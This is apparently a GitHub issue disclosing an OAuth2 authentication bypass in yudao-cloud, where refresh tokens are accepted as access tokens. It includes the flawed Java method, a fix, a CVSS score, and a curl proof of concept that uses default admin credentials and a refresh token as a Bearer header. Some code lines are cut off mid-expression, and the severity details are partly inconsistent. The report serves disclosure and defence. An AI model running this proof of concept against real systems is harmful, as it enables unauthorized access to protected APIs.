New issue

CVE Report: yudao-cloud OAuth2 Token Authentication Bypass #1

Open

9str0IL opened 3 weeks ago Owner

CVE Report: yudao-cloud OAuth2 Token Authentication Bypass

Basic Information

Item	Content
Title	[High] yudao-cloud OAuth2 Token Authentication Bypass
Product	yudao-cloud
Vendor	YunaiV
Affected Version	up to 2026.01
Severity	High (CVSS 3.1: 7.5)
Reporter	9str0il
Discovery Date	2026-04-07
Disclosure Date	2026-04-09
References	https://github.com/YunaiV/yudao-cloud

Vulnerability Description

A critical authentication bypass vulnerability exists in yudao-cloud `OAuth2TokenServiceImpl.java`. The vulnerability allows an attacker to use a `refresh_token` directly as an `access_token` to authenticate API requests, effectively bypassing the intended access token authentication mechanism.

In the OAuth 2.0 authentication framework, `access_token` and `refresh_token` serve different purposes:

- **`access_token`**: Short-lived token used for API authentication
- **`refresh_token`**: Long-lived token used to obtain new access tokens

This vulnerability breaks the security separation between these two token types.

Affected Component

Item	Content
File	`yudao-module-system-biz/src/main/java/io/github/ruoyi/common/oauth2/service/impl/OAuth2TokenServiceImp`
Method	`getAccessToken(String accessToken)`
Class	`OAuth2TokenServiceImpl`

Vulnerability Details

Vulnerable Code

```
@Override
public OAuth2AccessTokenDO getAccessToken(String accessToken) {
    // 1. Try to get from Redis cache first
    OAuth2AccessTokenDO accessTokenDO = oauth2AccessTokenRedisDAO.get(accessToken);
    if (accessTokenDO != null) {
        return accessTokenDO;
    }

    // 2. If not in Redis, query from MySQL
    accessTokenDO = oauth2AccessTokenMapper.selectByAccessToken(accessToken);
    if (accessTokenDO == null) {
        // ⚠️ VULNERABILITY: refresh_token can be used as access_token
        OAuth2RefreshTokenDO refreshTokenDO = oauth2RefreshTokenMapper.selectByRefreshToken(a
        if (refreshTokenDO != null && !DateUtils.isExpired(refreshTokenDO.getExpiresTime()))
            accessTokenDO = convertToAccessToken(refreshTokenDO);
        }
    }
```

```
    return accessTokenDO;
}
```

Root Cause

The `getAccessToken()` method does not distinguish between `access_token` and `refresh_token`. When an `access_token` is not found in either Redis or MySQL, the method automatically attempts to find it as a `refresh_token`. If found and not expired, it directly converts the `refresh_token` to an `access_token` and returns it.

Attack Vector

1. Attacker obtains a valid `refresh_token` (e.g., through man-in-the-middle attack, database leak, or XSS)
2. Attacker uses the `refresh_token` as the `Authorization: Bearer <refresh_token>` header
3. The server accepts the `refresh_token` as a valid `access_token`
4. Attacker gains unauthorized access to protected API resources

---

CVSS 3.1 Vector String

```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
```

Metric	Value	Description
Attack Vector (AV)	Network	Can be exploited over the network
Attack Complexity (AC)	Low	No special conditions required
Privileges Required (PR)	None	No authentication needed
User Interaction (UI)	None	No user interaction required
Scope (S)	Unchanged	Does not affect other components
Confidentiality (C)	High	High impact on data confidentiality
Integrity (I)	None	No impact on data integrity
Availability (A)	None	No impact on availability

CWE Classification

Item	Content
CWE ID	CWE-287
CWE Name	Improper Authentication
CAPEC ID	CAPEC-222

Impact

1. **Authentication Bypass**: Attackers can bypass the authentication mechanism using stolen refresh tokens
2. **Unauthorized Access**: Attackers can access protected API resources without valid access tokens
3. **Data Breach**: Confidential user data and system information may be exposed
4. **Privilege Escalation**: Depending on the refresh token's associated user, attackers may gain elevated privileges

---

Remediation

Recommended Fix

```
@Override
public OAuth2AccessTokenDO getAccessToken(String accessToken) {
    // Only query access_token, never accept refresh_token as access_token
    OAuth2AccessTokenDO accessTokenDO = oauth2AccessTokenRedisDAO.get(accessToken);
    if (accessTokenDO != null) {
        return accessTokenDO;
    }

    accessTokenDO = oauth2AccessTokenMapper.selectByAccessToken(accessToken);
    // Remove the refresh_token fallback logic entirely
    return accessTokenDO;
}
```

Additional Security Measures

1. Implement strict token type validation
2. Add token origin tracking (distinguish between access_token and refresh_token usage)
3. Implement rate limiting for token validation requests
4. Add anomaly detection for unusual token usage patterns

5. Log token validation attempts for security monitoring

Proof of Concept (PoC)

Step 1: Obtain Refresh Token

```
# Normal login to get tokens
curl -X POST "https://target.com/admin-api/system/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin123"}'
```

Response:

```
{
  "code": 0,
  "data": {
    "accessToken": "eyJ...",
    "refreshToken": "eyJ...",
    "expiresTime": 1712697600000
  }
}
```

Step 2: Use Refresh Token as Access Token

```
# Use refresh_token as access_token (Authentication Bypass)
curl -X GET "https://target.com/admin-api/system/user/page" \
  -H "Authorization: Bearer <refreshToken>"
```

If the vulnerability exists, the request will succeed, and the attacker gains unauthorized access.

Timeline

Date	Event
2026-04-07	Vulnerability discovered during code audit
2026-04-09	Vulnerability report drafted
TBD	Vendor notification
TBD	Patch released
TBD	Public disclosure

References

1. https://github.com/YunaiV/yudao-cloud
2. https://oauth.net/2/
3. https://cwe.mitre.org/data/definitions/287.html

Credits

Discovered by **9str0il** during security code audit.

Disclaimer: This vulnerability report is submitted for responsible disclosure. The reporter is not responsible for any misuse of this information.

Metadata

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants